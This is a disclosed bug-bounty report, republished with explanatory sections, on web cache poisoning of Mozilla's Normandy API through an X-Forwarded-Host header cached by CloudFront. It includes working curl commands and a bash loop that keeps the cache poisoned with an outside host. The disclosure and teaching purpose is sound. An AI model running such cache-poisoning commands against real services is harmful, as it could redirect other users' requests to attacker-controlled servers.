Skip to content
Cache bugs Disclosed report Intermediate

Web cache poisoning on normandy.cdn.mozilla.net

The backend server accepted an X-Forwarded-Host header and used it to build absolute URLs in its API response. Because CloudFront cached that response, an attacker could poison the cache so other users received URLs pointing to a malicious domain, potentially redirecting Shield study requests.

James Kettle Follow

Originally disclosed on Mozilla

  • Fixed in 3 hours
  • Paid in 4 days
  • Disclosed after 3 hours
Text
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36

Steps to reproduce:

Firefox periodically sends requests to https://normandy.cdn.mozilla.net/api/v1/ in order to deploy Shield studies to users.

The normal response looks like this:

{
  "action-list": "https://normandy.cdn.mozilla.net/api/v1/action/",
  "action-signed": "https://normandy.cdn.mozilla.net/api/v1/action/signed/",
  "approvalrequest-list": "https://normandy.cdn.mozilla.net/api/v1/approval_request/",
  "classify-client": "https://normandy.cdn.mozilla.net/api/v1/classify_client/",
  "filters": "https://normandy.cdn.mozilla.net/api/v1/filters/",
  "recipe-list": "https://normandy.cdn.mozilla.net/api/v1/recipe/",
  "recipe-signed": "https://normandy.cdn.mozilla.net/api/v1/recipe/signed/",
  "reciperevision-list": "https://normandy.cdn.mozilla.net/api/v1/recipe_revision/"
}

Unfortunately, the backend server supports the 'X-Forwarded-Host' header:

curl -H 'X-Forwarded-Host: burpcollaborator.net' https://normandy.cdn.mozilla.net/api/v1/

{
  "action-list": "https://burpcollaborator.net/api/v1/action/",
  "action-signed": "https://burpcollaborator.net/api/v1/action/signed/",
  "approvalrequest-list": "https://burpcollaborator.net/api/v1/approval_request/",
  "classify-client": "https://burpcollaborator.net/api/v1/classify_client/",
  "filters": "https://burpcollaborator.net/api/v1/filters/",
  "recipe-list": "https://burpcollaborator.net/api/v1/recipe/",
  "recipe-signed": "https://burpcollaborator.net/api/v1/recipe/signed/",
  "reciperevision-list": "https://burpcollaborator.net/api/v1/recipe_revision/"
}

This isn't so bad by itself, since there's no way for me to make a Firefox user send the X-Forwarded-Host header.

Unfortunately, CloudFront is happy to cache the poisoned response sent to me, and send it to other users. Please be careful when exploring this issue, as it's potentially quite easy to accidentally poison the cache and antagonise genuine users. To safely replicate this issue, you can use the following steps which include a cache buster to poison a specific URL that normal users won't inadvertently load.

First, set this script running to poison the cache. It will print out a unique poisoned URL for you, and run indefinitely to ensure it stays poisoned.
url=https://normandy.cdn.mozilla.net/api/v1/?cb=$(date +%s) && echo -e "\n\n$url" && while true; do curl -i -s -k -H $'x-forwarded-host: burpcollaborator.net' -H 'accept-encoding: gzip, deflate, br' $url 2>&1 > /dev/null && sleep 1; done;

Then, verify the cache has been poisoned by issuing a normal request with no X-Forwarded-Host header. Please note that this step doesn't have to be done from the same box or IP as the poisoning :)
curl -H 'accept-encoding: gzip, deflate, br' https://normandy.cdn.mozilla.net/api/v1/?cb=1516894527 | gunzip

You will find that the 'normal' response still points you to burpcollaborator.net URLs.


This technique can be used to make all subsequent requests for Shield studies get routed to a malicious server, which can potentially install malicious/vulnerable signed extensions or maybe screw with users in other ways I haven't discovered yet. I have chosen to report this prior to fully exploring the risks it poses, as I think it may be a critical issue.

The original report as published on Mozilla's Bugzilla, by Jаmes Kettle. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the backend used the untrusted X-Forwarded-Host header to generate absolute URLs, and the CDN cached responses without varying on that header.

Impact

This could make all subsequent requests for Shield studies get routed to a malicious server, which could potentially install malicious or vulnerable signed extensions or otherwise affect users.

What the attacker needed

Ability to send requests with custom headers; cache must not vary on X-Forwarded-Host

How it was found

  1. Send a request to the API endpoint with an X-Forwarded-Host header pointing to an attacker-controlled domain.
  2. Observe that the JSON response now contains URLs using the attacker's domain.
  3. Use a cache buster query parameter to poison a specific URL that normal users are unlikely to request.
  4. Verify the cache is poisoned by making a normal request without the header and seeing the attacker's domain in the response.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A web cache stores copies of responses to speed up later requests. Here, the server trusted a header that told it which hostname to use in links, and the cache stored the attacker's version. Then anyone asking for the same page got links to the attacker's site instead of Mozilla's.

What is Cache bugs?

A cache and the origin disagree about a request, so a poisoned response is served to everyone or a private page is stored as public.

More by James Kettle

View all

14 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Web cache poisoning and deception

The lesson behind this report.

A cache and the origin disagree about a request, so a poisoned response is served to everyone or a private page is stored as public.